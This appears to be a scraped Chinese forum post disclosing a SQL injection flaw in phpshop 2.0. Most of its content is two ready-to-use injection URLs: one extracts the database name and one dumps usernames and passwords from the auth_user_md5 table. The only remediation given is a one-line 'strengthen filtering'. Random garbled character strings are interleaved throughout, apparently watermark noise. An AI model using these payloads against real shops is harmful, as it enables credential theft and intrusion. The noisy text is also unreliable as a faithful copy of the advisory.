phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
3 r) W8 R) H' C+ r: w  [8 [
- \7 m, V# a% K! H' c6 g& L/ h5 b作者 : By onestree
% P, U' q" L. U' P# w( f% v7 f4 J1 j5 L下载地址 : http://code.google.com/p/phpshop/downloads/list
( p$ d! i  p# F9 V, x8 b) O) W8 R测试地址: windows 7 / ubuntu


SQLi p0c:

==================
* f) C, w: K' D4 o# w
6 S  k; W8 H/ Q! Ehttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
( k/ z) N6 v! Y6 Ounion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
/ M* n9 ~% e9 P/ _0 Q
修复：
加强过滤
​

  S3 K7 r4 X" k7 m; {2 U